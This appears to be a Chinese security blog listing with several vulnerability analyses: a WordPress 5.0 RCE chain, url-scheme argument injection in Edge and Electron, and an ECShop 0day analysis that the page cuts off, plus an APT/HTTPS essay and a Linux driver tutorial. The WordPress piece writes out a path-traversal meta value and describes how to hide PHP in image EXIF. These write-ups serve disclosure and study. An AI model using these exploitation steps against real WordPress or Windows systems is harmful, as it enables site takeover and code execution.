RSS Feed
更好更安全的互联网
  • WordPress 5.0 RCE 详细分析

    2019-02-27
    作者:LoRexxar'@知道创宇404实验室
    时间:2019年2月22日
    2月20号,RIPS团队在官网公开了一篇WordPress 5.0.0 Remote Code Execution,CVE编号CVE-2019-6977,文章中主要提到在author权限账号下,可以通过修改Post Meta变量覆盖、目录穿越写文件、模板包含3个漏洞构成一个RCE漏洞。

    但在原文中,作者只大致描述了漏洞原理,其中大量的漏洞细节被省略,甚至部分的利用和后端服务器也有相对应的关系,所以在复现的过程中遇到了各种问题,我们花了大量的时间分析代码,最终终于完全还原了该漏洞,其中部分关键利用点用了和原文有些许差异的利用方式(原文说的太含糊其辞,无法复现)。在下面的分析中,我会尽量按照复现过程中的思考方式及流程,以便读者理解。

    感谢在复现、分析过程中一起的小伙伴@Badcode,帮助我修改了很多错误的@Venenof7、@sysorem,给我提供了很多帮助:>

    漏洞要求

    在反复斟酌漏洞条件之后,我们最终把漏洞要求约束为

    影响包括windows、linux、mac在内的服务端,后端图片处理库为gd/imagick都受到影响,只不过利用难度有所差异。

    其中,原文提到只影响release 5.0.0版,但现在官网上可以下载的5.0.0已经修复该漏洞。实际在WordPress 5.1-alpha-44280更新后未更新的4.9.9~5.0.0的WordPress都受到该漏洞影响。

    漏洞复现

    下面的复现流程包含部分独家利用以及部分与原文不符的利用方式,后面的详情会解释原因。

    传图片

    改信息

    保留该数据包,并添加POST

    裁剪

    同理保留改数据包,并将POST改为下面的操作,其中nonce以及id不变

    触发需要的裁剪

    图片已经过去了

    包含,我们选择上传一个test.txt,然后再次修改信息,如前面

    点击查看附件页面,如果图片被裁剪之后仍保留敏感代码,则命令执行成功。

    详细分析

    下面我们详细分析一下整个利用过程,以及在各个部分踩的坑。我们可以简单的把漏洞利用链分为4个大部分。

    1、通过Post Meta变量覆盖,修改媒体库中图片的_wp_attached_file变量。

    这个漏洞是整个利用链的核心点,而WordPress的修复方式也主要是先修复了这个漏洞。WordPress很良心的在所有的release版本中都修复了这个问题(官网下载的5.0.0已经修复了),由于原文中曾提到整个利用链受到4.9.9和5.0.1的另一个安全补丁影响,所以只有5.0.0受影响。在分析还原WordPress的更新commit中,我们寻找到了这个漏洞的修复commit,并获得了受该漏洞影响的最新版本为WordPress commit <= 43bdb0e193955145a5ab1137890bb798bce5f0d2 (WordPress 5.1-alpha-44280)

    2、通过图片的裁剪功能,将裁剪后的图片写到任意目录下(目录穿越漏洞)

    在WordPress的设定中,图片路径可能会收到某个插件的影响而不存在,如果目标图片不在想要的路径下时,WordPress就会把文件路径拼接为形似http://127.0.0.1/wp-content/uploads/2019/02/2.jpg 的url链接,然后从url访问下载原图

    如果我们构造?或者#后面跟路径,就能造成获取图片位置和写入图片位置的不一致。。

    这部分最大问题在于,前端的裁剪功能并不是存在漏洞的函数,我们只能通过手动构造这个裁剪请求来完成。

    ps: 当后端图片库为Imagick时,Imagick的Readimage函数不能读取远程http协议的图片,需要https.

    3、通过Post Meta变量覆盖,设置_wp_page_template变量。

    这部分在原文中一笔带过,也是整个分析复现过程中最大的问题,现在公开的所有所谓的WordPress RCE分析,都绕开了这部分。其中有两个最重要的点:

    • 如何设置这个变量?
    • 如何触发这个模板引用?

    这个部分在下文中会详细解释。

    4、如何让图片在被裁剪过之后,保留或者出现包含php敏感代码。

    这部分就涉及到了后端图片库的问题,WordPress用到的后端图片处理库有两个,gd和imagick,其中默认优先使用imagick做处理。

    • imagick
      利用稍微比较简单,imagick不会处理图片中的exif部分。将敏感代码加入到exif部分就可以不会改动。
    • gd
      gd的利用就比较麻烦了,gd不但会处理图片的exif部分,还会删除图片中出现的php代码。除非攻击者通过fuzz获得一张精心构造的图片,可以在被裁剪处理之后刚好出现需要的php代码(难度较高)。

    最后通过链接上述4个流程,我们就可以完整的利用这个漏洞了,接下来我们详细分析一下。

    Post Meta变量覆盖

    当你对你上传的图片,编辑修改其信息时,你将会触发action=edit_post

    post data来自于POST

    如果是修复过的,在line 275行有修复patch

    https://github.com/WordPress/WordPress/commit/43bdb0e193955145a5ab1137890bb798bce5f0d2

    这个patch直接禁止了传入这个变量

    一路跟下去这个函数可以一直跟到wp-includes/post.php line 3770

    update_post_meta会把所有字段遍历更新

    就会更新数据库中的相应字段

    配合变量覆盖来目录穿越写文件

    根据原文的描述,我们首先需要找到相应的裁剪函数

    这里传入的变量src就是从修改过的_wp_attached_file而来。

    在代码中,我们可以很轻易的验证一个问题。在WordPress的设定中,图片路径可能会受到某个插件的影响而不存在,如果目标图片不在想要的路径下时,WordPress就会把文件路径拼接为形似 http://127.0.0.1/wp-content/uploads/2019/02/2.jpg 的url链接,然后从url访问下载原图

    这里的_load_image_to_edit_path就是用来完成这个操作的。

    也正是因为这个原因,假设我们上传的图片名为2.jpg,则原本的_wp_attached_file2019/02/2.jpg

    然后我们通过Post Meta变量覆盖来修改_wp_attached_file2019/02/1.jpg?/../../../evil.jpg

    这里的原图片路径就会拼接为{wordpress_path}/wp-content/uploads/2019/02/1.jpg?/../../../evil.jpg,很显然这个文件并不存在,所以就会拼接链接为http://127.0.0.1/wp-content/uploads/2019/02/2.jpg?/../../../evil.jpg,后面的部分被当作GET请求,原图片就会成功的获取到。

    紧接着进入save函数的新图片路径会拼接为{wordpress_path}/wp-content/uploads/2019/02/1.jpg?/../../../cropped-evil.jpg,我们就能成功写入新文件了。

    后面的save函数会调用你当前图片库的裁剪功能,生成图片结果。(默认为imagick)

    但这里看上去没有任何限制,实际上不是的。在写入的目标目录下,存在一个假目录,为1.jpg?

    • 而linux、mac支持这种假目录,可以使用?号
    • 但windows在路径中不能有?号,所以这里改用了#号

    成功写入文件

    控制模板参数来导致任意文件包含

    进度进展到这就有点儿陷入僵局,因为原文中关于这部分只用了一句话带过,在实际利用的过程中遇到了很多问题,甚至不同版本的WordPress会有不同的表现,其中诞生了多种利用方式,这里我主要讲1种稳定利用的方式。

    设置_wp_page_template

    首先我们先正向分析,看看在什么情况下我们可以设置_wp_page_template

    首先可以肯定的是,这个变量和_wp_attached_file一样都属于Post Meta的一部分,可以通过前面的操作来对这个变量赋值

    但实际测试过程中,我们发现,我们并不能在任何方式下修改并设置这个值。

    • 如果你设置了这个值,但这个文件不存在,则会被定义为default
    • 如果该值被设置,则没办法通过这种方式修改。

    所以这里我们可能需要新传一个媒体文件,然后通过变量覆盖来设置这个值。

    加载模板

    当我们成功设置了该变量之后,我们发现,并不是所有的页面都会加载模板,我们重新回到代码中。

    最终加载模板的地方在

    只要是在$template_names中需要被加载的文件名,会在当前主题的目录下遍历加载。

    回溯跟入

    继续回溯我们就能发现一些端倪,当你访问页面的时候,页面会通过你访问的页面属性,调用不同的模板加载函数。

    在这么多的模板调用函数中只有两个函数get_page_templateget_single_template这两个在函数中调用了get_page_template_slug函数。

    get_page_template_slug函数从数据库中获取了_wp_page_template

    只要我们能让模板加载时进入get_page_templateget_single_template,我们的模板就可以成功被包含。

    由于代码和前端的差异,我们也没有完全找到触发的条件是什么,这里选了一个最简单的,即上传一个txt文件在资源库,然后编辑信息并预览。

    生成图片马

    这部分就涉及到了后端图片库的问题,WordPress用到的后端图片处理库有两个,gd和imagick,其中默认优先使用imagick做处理。

    • imagick

    利用稍微比较简单,imagick不会处理图片中的exif部分。将敏感代码加入到exif部分就可以不会改动。

    • gd

    gd的利用就比较麻烦了,gd不但会处理图片的exif部分,还会删除图片中出现的php代码。除非攻击者通过fuzz获得一张精心构造的图片,可以在被裁剪处理之后刚好出现需要的php代码(难度较高)。

    由于这不是漏洞最核心的部分,这里就不赘述了。

    修复

    1、由于该漏洞主要通过图片马来完成RCE,而后端图片库为gd时,gd会去除图片信息中exif部分,并去除敏感的php代码。但如果攻击者精心设计一张被裁剪后刚好生成含有敏感代码的图片时,就可以造成RCE漏洞。如果后端图片库为imagick时,则将敏感代码加入到图片信息的exif部分,就可以造成RCE漏洞。

    官网上可供下载的所有release版本中都修复了这个漏洞,更新至最新版或者手动将当前版本覆盖安装即可。

    2、 通用防御方案
    使用第三方防火墙进行防护(如创宇盾[https://www.yunaq.com/cyd/])。

    3、技术业务咨询
    知道创宇技术业务咨询热线 :
    400-060-9587(政府,国有企业)、028-68360638(互联网企业)

    总结

    整个RCE的利用链由4部分组成,深入WordPress的底层Core逻辑,原本来说这4个部分无论哪个都很难造成什么危害,但却巧妙地连接在一起,并且整个部分意外的都是默认配置,大大增加了影响面。在安全程度极高的WordPress中能完成这种的攻击利用链相当难得,从任何角度都是一个非常nice的漏洞:>

    最后再次感谢我的小伙伴们以及整个过程中给我提供了很大帮助的朋友们:>


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/822/

    作者:吴烦恼 | Categories:安全科普技术分享 | Tags:
  • APT 为什么不使用 HTTPS 协议?

    2019-01-24

    原文:Why does APT not use HTTPS?
    作者:Chris Lamb
    译者:Nanako@知道创宇404实验室

    (这篇文章代表了一段时间前,特别是在CVE-2019-3462之前的情形。它并不代表我的个人意见,也不代表Debian / Ubuntu。)

    tl;dr

    https用于防止入侵者窃听到您与您访问的网站之间的通信,以及避免在您不知情的情况下修改数据。

    然而,通过APT命令获取的文件往往都有自己的签名以通过系统的检查。

    您的计算机根据一组已存储的可信密钥检查这些签名。如果缺少有效签名或者密钥不可信[1],则APT会拒绝下载该文件。这样可以确保您安装的软件来自您的授权,并且未被修改或替换。

    如果下载服务器的磁盘上软件包发生了恶意篡改,https是无法检测出来的。因此也没有必要“安全的”传输一个受损的软件包。

    隐私

    https通常不会为获取数据包提供重要的私密性。由于窃听者通常可以看到您正在通信连接的主机,如果您正与发布镜像的网络进行连接,则很明显您在进行下载更新。

    此外,即使通信是经过加密的,也不难根据传输大小确定要下载的文件[2]。因此,https只适用于从那些提供类似的,或大小相同的包的服务器上进行下载。

    其实更应该关注的问题并不是加密,而是确保您正在安装的文件未被修改过。

    过度信任CA

    有超过400个“证书颁发机构”可以为任何域颁发证书,其中很多证书机构没有有效的安全记录,还有一些明确被政府控制[3]。

    这意味着https对于发布镜像网络上的攻击目标提供了微乎其微的保护,甚至没有任何保护。您可以限制APT可以接收的有效证书集合,但这容易产生错误,对现有的公钥方案来说某些额外的麻烦是不值得的。

    为什么不提供HTTPS呢?

    您所用的发行版可以使用现有方案对文件进行加密签名,另外还可以通过https为文件提供“深度防御”。

    然而,通过SSL提供一个巨大的全球镜像网络不仅是一项复杂的工程任务(需要私钥的安全交换和存储)。如上所述,它意味着会对最终用户的安全性和隐私级别产生误导性。

    切换到https还意味着您无法利用本地代理服务器来加快访问速度,而且还将禁止多种类型的P2P 镜像,其中文件存储在不受您分发控制的服务器上。这将对远程区域的用户产生不同程度的影响。

    重放攻击

    简单签名机制存在的问题是,它不能保证您看到的是最新版本的存档。

    这可能会导致重放攻击,攻击者将存档替换为较早的未经修改的版本,阻止APT注意到那些会被利用的安全更新。

    为了解决这个问题,APT存档包含一个时间戳,在此时间戳之后的所有文件都被认作是旧文件[4]。

    更多信息

    SecureAPT wiki页面上可以找到更多技术细节?。

    脚注

    1. 显示发布:无法验证以下签名,因为公钥不可用。
    2. 如果通过(假设)apt-transport-tor使用Tor,甚至有可能出现这种情况。
    3. 例如,请参阅在StackOverflow上的我应该信任哪些受信任的root证书颁发机构
    4. 请参阅Debian Wiki上DebianRepository页面的Date,Valid-Until部分

     

     

    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/803/

    作者:Nanako | Categories:安全科普漏洞通告 | Tags:
  • 从 0 开始学 Linux 驱动开发(一)

    2019-01-08

    作者:Hcamael@知道创宇404实验室

    最近在搞IoT的时候,因为没有设备,模拟跑固件经常会缺/dev/xxx,所以我就开始想,我能不能自己写一个驱动,让固件能跑起来?因此,又给自己挖了一个很大坑,不管最后能不能达到我的初衷,能学到怎么开发Linux驱动,也算是有很大的收获了。

    前言

    我写的这个系列以实践为主,不怎么谈理论,理论可以自己去看书,我是通过《Linux Device Drivers》这本书学的驱动开发,Github上有这本书中讲解的实例的代码[1]

    虽然我不想谈太多理论,但是关于驱动的基本概念还是要有的。Linux系统分为内核态和用户态,只有在内核态才能访问到硬件设备,而驱动可以算是内核态中提供出的API,供用户态的代码访问到硬件设备。

    有了基本概念以后,我就产生了一系列的问题,而我就是通过我的这一系列的问题进行学习的驱动开发:

    1. 一切代码的学习都是从Hello World开始的,怎么写一个Hello World的程序?
    2. 驱动是如何在/dev下生成设备文件的?
    3. 驱动怎么访问实际的硬件?
    4. 因为我毕竟是搞安全的,我会在想,怎么获取系统驱动的代码?或者没有代码那能逆向驱动吗?驱动的二进制文件储存在哪?以后有机会可能还可以试试搞驱动安全。

    Everything start from Hello World

    提供我的Hello World代码[2]

    Linux下的驱动是使用C语言进行开发的,但是和我们平常写的C语言也有不同,因为我们平常写的C语言使用的是Libc库,但是驱动是跑在内核中的程序,内核中却不存在libc库,所以要使用内核中的库函数。

    比如printk可以类比为libc中的printf,这是在内核中定义的一个输出函数,但是我觉得更像Python里面logger函数,因为printk的输出结果是打印在内核的日志中,可以使用dmesg命令进行查看

    驱动代码只有一个入口点和一个出口点,把驱动加载到内核中,会执行module_init函数定义的函数,在上面代码中就是hello_init函数。当驱动从内核被卸载时,会调用module_exit函数定义的函数,在上面代码中就是hello_exit函数。

    上面的代码就很清晰了,当加载驱动时,输出Hello World,当卸载驱动时,输出Goodbye World

    PS:MODULE_LICENSEMODULE_AUTHOR这两个不是很重要,我又不是专业开发驱动的,所以不用关注这两个

    PSS: printk输出的结果要加一个换行,要不然不会刷新缓冲区

    编译驱动

    驱动需要通过make命令进行编译,Makefile如下所示:

    一般情况下,内核的源码都存在与/usr/src/linux-headers-$(shell uname -r)/目录下

    比如:

    而我们需要的是编译好后的源码的目录,也就是/usr/src/linux-headers-4.4.0-135-generic/

    驱动代码的头文件都需要从该目录下进行搜索

    M=$(PWD)该参数表示,驱动编译的结果输出在当前目录下

    最后通过命令obj-m := hello.o,表示把hello.o编译出hello.ko, 这个ko文件就是内核模块文件

    加载驱动到内核

    需要使用到的一些系统命令:

    • lsmod: 查看当前已经被加载的内核模块
    • insmod: 加载内核模块,需要root权限
    • rmmod: 移除模块

    比如:

    旧版的内核就是使用上面这样的方法进行内核的加载与移除,但是新版的Linux内核增加了对模块的验证,当前实际的情况如下:

    从安全的角度考虑,现在的内核都是假设模块为不可信的,需要使用可信的证书对模块进行签名,才能加载模块

    解决方法用两种:

    1. 进入BIOS,关闭UEFI的Secure Boot
    2. 向内核添加一个自签名证书,然后使用证书对驱动模块进行签名,参考[3]

    查看结果

    在/dev下增加设备文件

    同样先提供一份代码,然后讲解这份实例代码[4]

    知识点1 -- 驱动分类

    驱动分为3类,字符设备、块设备和网口接口,上面代码举例的是字符设备,其他两种,之后再说。

    如上图所示,brw-rw----权限栏,b开头的表示块设备(block),c开头的表示字符设备(char)

    知识点2 -- 主次编号

    主编号用来区分驱动,一般主编号相同的表示由同一个驱动程序控制。

    一个驱动中能创建多个设备,用次编号来区分。

    主编号和次编号一起,决定了一个驱动设备。

    如上图所示,

    设备sdasda1的主编号为8,一个此编号为0一个此编号为1

    知识点3 -- 驱动是如何提供API的

    在我的概念中,驱动提供的接口是/dev/xxx,在Linux下Everything is File,所以对驱动设备的操作其实就是对文件的操作,所以一个驱动就是用来定义,打开/读/写/......一个/dev/xxx将会发生啥,驱动提供的API也就是一系列的文件操作。

    有哪些文件操作?都被定义在内核<linux/fs.h>[5]头文件中,file_operations结构体

    上面我举例的代码中:

    我声明了一个该结构体,并赋值,除了owner,其他成员的值都为函数指针

    之后我在scull_setup_cdev函数中,使用cdev_add向每个驱动设备,注册该文件操作结构体

    比如我对该驱动设备执行open操作,则会去执行scull_open函数,相当于hook了系统调用中的open函数

    知识点4 -- 在/dev下生成相应的设备

    对上面的代码进行编译,得到scull.ko,然后对其进行签名,最后使用insmod加载进内核中

    查看是否成功加载:

    虽然驱动已经加载成功了,但是并不会在/dev目录下创建设备文件,需要我们手动使用mknod进行设备链接:

    总结

    在该实例中,并没有涉及到对实际物理设备的操作,只是简单的使用kmalloc在内核空间申请一块内存。代码细节上的就不做具体讲解了,都可以通过查头文件或者用Google搜出来。

    再这里分享一个我学习驱动开发的方法,首先看书把基础概念给弄懂,细节到需要用到的时候再去查。

    比如,我不需要知道驱动一共能提供有哪些API(也就是file_operations结构都有啥),我只要知道一个概念,驱动提供的API都是一些文件操作,而文件操作,目前我只需要open, close, read, write,其他的等有需求,要用到的时候再去查。

    参考

    1. https://github.com/jesstess/ldd4
    2. https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/hello.c
    3. https://jin-yang.github.io/post/kernel-modules.html
    4. https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/scull.c
    5. https://raw.githubusercontent.com/torvalds/linux/master/include/linux/fs.h

    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/779/

    作者:Nanako | Categories:安全研究安全科普 | Tags:
  • 从 CVE-2018-8495 看 PC 端 url scheme 的安全问题

    2018-10-19
    作者:0x7F@知道创宇404实验室
    时间:2018年10月18日

    0x00 前言

    本文受 CVE-2018-8495 漏洞的启发,以学习的目的,针对 PC 端 url scheme 的安全问题进行了分析研究。

    说到 url scheme 的安全问题,这并不是一个新问题,早在 2008 年就有相关的研究和利用;如今 2018 年又陆续出现了安全问题,包括 1 月的 Electron 命令注入(CVE-2018-1000006) 以及 10 月的 Edge RCE(CVE-2018-8495),可见 url scheme 的安全问题值得去一探究竟。

    url scheme 也称为 url protocolurl handler,本文使用 url scheme 这个名称。

    0x01 url scheme是什么

    常见的url scheme应用场景

    在平时使用电脑的过程中,常常会发现点击某一个链接就会尝试启动本地的应用程序,比如点击类似 mailto://test@test.com,就会启动邮件客户端,点击 thunder://xxxxx,就会启动迅雷客户端;这就是 url scheme 的应用。除此之外,我们使用浏览器也会发现地址栏中一些不同的前缀,常用的有 http://https://ftp://file://,这同样是 url scheme 的应用场景。

    各大操作系统开发商和浏览器开发商为了提高用户体验,丰富浏览器的功能,允许开发人员将 URI 与本地的应用程序进行关联,从而在用户使用浏览器时,可以通过点击某一链接即可启动应用程序;将这个功能简称为 url scheme。比如在 windows7 下使用 IE8 启动默认邮件客户端 outlook

    正因为 url scheme 这个优秀的功能设计,各大操作系统开发商都对此进行了支持,无论是 PC 端 Windows, MAC, Linux,还是移动端 iOS, Android 都有良好的支持。本文针对 PC 端下的 url scheme 的安全问题进行分析,移动端下同样也有类似的问题,但利用方式不同,这里就不展开了。

    url scheme工作流程

    在了解 url scheme 的功能后,可以大致理解到 url scheme 的工作流程;应用程序在操作系统中注册 url scheme 项,当浏览器或其他支持 url 的应用访问 特定的 url scheme 时,从系统中匹配相对应的 url scheme 项,从而启动该应用程序;可见这是一个三方相互支持的功能。

    正因如此,对于 url scheme 这个功能,在操作系统、浏览器(或其他支持 url 的应用)、应用程序这三个环节中,无论哪个环节出现了安全问题,或者是相互支持出现了问题,都将影响 url scheme 功能,最终给用户带来安全问题。

    0x02 创建 url scheme

    那么 url scheme 功能是如何在操作系统中注册的呢?不同的操作系统都有不同的实现方式,这里以 Windows7 为例进行演示说明。

    在 Windows7 上,url scheme 被记录在注册表 HKEY_CLASSES_ROOT 下,如 mailto 的相关字段:

    如果要创建一个新的 url scheme,直接在 HKEY_CLASSES_ROOT 添加即可,并在相应的字段中填入对应的值。创建的子项名即为 url scheme 功能名,在该子项下还包含两个项:DefaultIconshellDefaultIcon 包含该功能所使用的默认图标路径;在 shell 项下继续创建子项,例如: open,然后在 open 项下创建 command 子项,用于描述应用程序的路径以及参数。

    举个例子,创建 calc 用于启动 C:\Windows\System32\calc.exe

    补充一点:实际上,在 Windows 中有两种添加 url scheme 的方式,以上是直接添加注册表的方式(Pluggable Protocol),还有一种是异步可插拔协议(Asynchronous Pluggable Protocol),注册的协议会记录在 HKEY_CLASSES_ROOT\PROTOCOLS\ 下。这里就不展开了,详情可以参考:https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767916(v%3dvs.85)

    0x03 安全隐患

    对于 url scheme 功能,简单来讲就是「通过 url 可以启动某一个本地的应用程序」,这无疑大大提高了用户体验,但同时引入一些安全隐患,比如用户可以通过浏览器启动一个恶意程序,或者用户启动的应用程序具有特殊的功能可以被调用(如:删除文件、启动网络连接)。

    除此之外,对于包含 url 的的相关应用,用户是往往作为一个使用者、阅读者,而不是编辑者;也就是说 url 可以被攻击者恶意构造,从而达到远程启动本地应用程序的效果。

    那么在操作系统中,有哪些 url scheme 是可以被调用的呢?这里提供三个脚本用于导出三大 PC 系统下 url scheme

    Windows: [https://images.seebug.org/archive/duh4win.vbs]
    MAC: [https://images.seebug.org/archive/duh4mac.m]
    Linux: [https://images.seebug.org/archive/duh4linux.sh]

    (脚本来源于:https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf)

    运行脚本程序,可以看到系统下有不少可以调用的 url scheme,其中包括操作系统默认支持的,如 httpftpmailto,也有第三方的应用程序,如 qqthunder;如果这些应用程序出现安全问题,比如支持删除文件、启动另一个程序等敏感操作,最终在 url scheme 的帮助下,都将远程触发的安全问题。

    除了应用程序可能出现的安全问题,浏览器(或其他程序)在进行 url 解析并启动应用程序的过程也可以出现安全问题;并且这三方相互支持的过程中,仍然可能出现问题;无论是哪一个环节出现的安全问题,其危害最终都会在 url scheme 下被放大。

    本文就这以上可能出现安全问题的环节进行分析,并举例说明。

    0x04 操作系统的问题

    在 2007 年,Heise Security 公开了由 「url scheme 导致远程命令执行」的漏洞,其出现在 Windows XP 下已安装 IE7 版本的系统中,影响范围包括所有支持 url scheme 的应用程序。

    其构造的 PoC 如下:

    在 Windows XP 下运行结果如下:

    图片来源于:http://www.h-online.com/security/news/item/URI-problem-also-affects-Acrobat-Reader-and-Netscape-733744.html

    其造成漏洞的原因是由于微软通过安装适用于 Windows XP 的 IE7 改变了操作系统对 url 的处理,而应用程序直接将路径传递给操作系统用于启动,最终导致包含 字符的特殊链接导致启动任意程序。

    在漏洞公开后,微软并没有发布修复补丁,并且认为这不是 Windows XP 的原因,随后各大应用程序开发人员对该漏洞进行了修复。当然,上层应用可以对输入的参数进行检查,但这里也可以认为是操作系统方面的问题,导致了 url scheme 远程命令执行。

    0x05 浏览器的参数注入

    2018 年,在 url scheme 的安全问题中,有两个问题是由于 Windows 下的 IE 和 Edge 参数注入引发的,其中一个是 Electron 自定义协议命令注入(CVE-2018-1000006),另一个是 Edge 远程代码执行(CVE-2018-8495)。

    在 Windows 下 IE 和 Edge 对 url scheme 的处理方式有些不同,在浏览器接收到一个 url scheme 后,访问注册表查询对应的应用程序路径,随后进行 url 解码,然后调用 ShellExecute 函数簇,启动应用程序;正是因为 url 解码这一步造成了双引号闭合,从而引起了参数注入问题。示意图如下:

    Electron 自定义协议命令注入

    2018 年 1 月,Electron 发布了由自定义协议而导致命令注入的安全公告(CVE-2018-1000006),由于参数注入而引发的问题,构造的 PoC 如下:

    使用 IE 浏览器访问该链接,最终生成的启动参数如下:

    通过参数注入,调用 electron 中支持的 --gpu-launcher 参数,传入 cmd.exe 启动计算器,如下图:

    图片来源于:https://xz.aliyun.com/t/1990,详情可以参考这个链接。

    Edge 远程代码执行

    2018 年 10 月,Edge 公开了远程代码执行的安全公告(CVE-2018-8495),同样也是利用参数注入,最终达到了远程代码执行的效果;整个利用过程颇具巧妙性,本文对此进行详细的分析。

    首先说一点的是,在 Edge 中居然可以打开一些不合法的 url scheme(没有包含 URL Protocol 字段),比如 WSHFile 项:

    当然在 Windows7 和 Windows8 下不能打开。

    而恰恰 WSHFile 项指向了 wscript.exe,这个应用程序非常熟悉是Windows 内置的脚本解释器,那么可以利用 WSHFile 尝试去运行一个脚本;除此之外,上文提到 Edge 浏览器中存在参数注入的问题,那么是否有脚本可以接收参数并用于执行呢?

    漏洞作者最终找到:

    该脚本文件支持接收参数,并且会将命令直接拼接到字符串中,然后通过 powershell 进行执行。

    最终构造的 PoC 如下:

    以及执行后触发的效果:

    目前 Windows10 上已经发布了修复补丁,Edge 已经不能调用这种不合法的 url scheme 了。

    除此之外,404实验室的小伙伴在分析漏洞的过程中,也有一些额外的发现,如在注册表 HKEY_CLASSES_ROOT 还发现了和 WSHFile 类似的 url scheme,都指向 wscript.exe,同样也可以触发远程代码执行。包括:

    还有在 C:\Windows\System32\ 下也存在 SyncAppvPublishingServer.vbs,同样也可以利用,并且比漏洞作者所提供的更加可靠。

    除了 SyncAppvPublishingServer.vbs 这个文件, 在 C:\Windows\System32\Printing_Admin_Scripts\zh-CN 下的 pubprn.vbs 也同样可以触发代码执行。

    补充一点,在 Windows7 系统下 chrome 与 Edge 有相同的特性——会打开一些不合法的 url scheme,但由于 chrome 不存在参数注入的问题,所以可以暂且认为是安全的。

    0x06 应用程序的问题

    2017 年 12 月,macOS 上的 helpViewer 应用程序被公开由 XSS 造成文件执行的漏洞(CVE-2017-2361),影响 macOS Sierra 10.12.1 以下的版本;该漏洞同样也利用了 url scheme,攻击者可以构造恶意页面,从而发动远程攻击。这是典型的由于应用程序所导致的 url scheme 安全问题。

    漏洞详情可以参考:https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100

    其构造的 PoC 如下:

    在这个漏洞的利用过程中,可以发现操作系统和浏览器并没有出现问题,而是通过 url scheme 打开的应用程序出现了问题。通过对利用链的分析,可以了解到其中几个巧妙的点:

    1. 利用 url scheme 中的 help 协议打开应用程序 Safari.help
    2. 使用双重 url 编码绕过 helpViewer 对路径的检查,打开一个可以执行 JavaScript 的页面
    3. 使用 helpViewer 的内置协议 x-help-script 打开应用程序(PoC不包含)

    0x07 总结

    url scheme 功能的便捷性得力于操作系统、浏览器(或其他支持 url 的应用)以及应用程序三方的相互支持;要保证 url scheme 功能安全可靠,就必须牢牢把关这三方的安全。

    除此之外,不同的操作系统对 url scheme 实现方式不同,不同的浏览器也有自己的特性,应用程序也各有各的处理方式,多种组合的结果,就有可能出现一些意料之外的安全问题。

    最后感谢 404 实验室小伙伴 @LoRexxar' 与 @dawu 在分析过程中给我的帮助。


    References:

    1. CVE-2018-8495分析: https://leucosite.com/Microsoft-Edge-RCE/
    2. Seebug.paper: https://paper.seebug.org/515/
    3. 先知: https://xz.aliyun.com/t/1990
    4. electronjs: https://electronjs.org/blog/protocol-handler-fix
    5. blackhat: https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf
    6. blackhat: https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf
    7. oreilly: https://www.oreilly.com/library/view/hacking-the-next/9780596806309/ch04.html
    8. Github: https://github.com/ChiChou/LookForSchemes
    9. MSRC.CVE-2018-8495: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8495
    10. Microsoft: https://docs.microsoft.com/en-us/windows/uwp/launch-resume/reserved-uri-scheme-names
    11. Microsoft: https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767914(v=vs.85)
    12. Microsoft: https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767916(v%3dvs.85)
    13. h-online: http://www.h-online.com/security/news/item/URI-problem-also-affects-Acrobat-Reader-and-Netscape-733744.html
    14. chromium: https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100

     

    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/719/

    作者:Nanako | Categories:安全研究安全科普 | Tags:
  • ECShop 0day 的堕落之路

    2018-09-12
    Author: Badcode@知道创宇404实验室
    Date: 2018/09/04

    背景

    ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。于2018年6月14日,提交到知道创宇Seebug漏洞平台并收录

    随后于2018年8月31日,ID为“ringk3y”研究人员在其博客公开这个漏洞,并做了详细分析,该分析收录在Seebug Paper

    知道创宇404积极防御团队于2018年9月2日正式对外发布《ECShop全系列版本的远程代码执行漏洞》预警。

    从2018年的6月13日首次拦截后,知道创宇404实验室多个团队对这个利用ECShop 0day攻击事件进行持续的监控分析,从下文的分析结果可以看出一个0day漏洞在实际攻击中的各个阶段的“堕落”过程。

    漏洞分析

    该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

    值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。

    注:以下代码分析基于ECShop 2.7.3

    SQL 注入漏洞

    首先看到ecshop/user.php

    可以看到$back_act是从HTTP_REFERER获取到的,HTTP_REFERER是外部可控的,这也是万恶的根源。

    接着将back_act变量传递给assign函数,跟进ecshop/includes/cls_template.php

